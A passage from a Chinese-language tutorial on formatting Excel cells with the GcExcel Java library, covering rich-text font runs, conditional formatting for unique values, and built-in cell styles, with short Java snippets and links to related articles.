run1.getFont().setColor(Color.GetRed());
run1.getFont().setBold(true);
run1.getFont().setSize(20);

// 附加字符串 “Solutions” 到 IRichText 对象并应用格式化
ITextRun run2 = richText.add("Solutions");
run2.getFont().setThemeFont(ThemeFont.Major);
run2.getFont().setThemeColor(ThemeColor.Accent1);
run2.getFont().setSize(30);
run2.getFont().setUnderline(UnderlineType.Single);

更多详细信息请查看
帮助文档

点击这里
查看Demo演示。

7.
条件格式

在工作表中,Excel 允许用户对单个或一系列单元格创建条件格式规则,使单元格、行、列或整个工作表中的数据自动应用不同的格式。条件格式可以帮助用户快速可视化和分析数据,突出显示满足特定条件的单元格或数值。

借助GcExcel,可以使用
IRange
接口的
FormatConditions
设条件格式规则集。例如,若要对区域中的唯一值应用条件格式,需要将 AddUniqueValue 的规则添加到
FormatConditions
集合中,如下面的代码所示:

IUniqueValues condition = worksheet.getRange("A1:E7").getFormatConditions().addUniqueValues();
condition.setDupeUnique(DupeUnique.Unique);
condition.getFont().setName("Arial");
condition.getInterior().setColor(Color.GetPink());

更多详细信息请查看
帮助文档

点击这里
查看Demo演示。

8.
单元格样式

Excel 提供了多种内置单元格样式(如“Good”、“Bad”、“Heading”、“Title”等),以便根据特定数据需求快速设置单元格样式。

借助GcExcel,可以使用工作簿的
Styles
集合以编程方式将这些快速样式应用于单元格或单元格区域,并将其作为值提供给
IRange.Style
属性:

worksheet.getRange("A1").setStyle(workbook.getStyles().get("Bad"));

点击这里
查看Demo演示。

总结

以上就是借助Java实现Excel 单元格的内容,总体而言,GcExcel 不仅提供了强大的数据管理功能,而且还增加了可编程性,使用户能够提升其数据的可视化表示,实现更有效地通信和分析。

扩展链接:

Redis从入门到实践

一节课带你搞懂数据库事务!

Chrome开发者工具使用教程

如何在Web应用中添加一个JavaScript Excel查看器

高性能渲染——详解HTML Canvas的优势与性能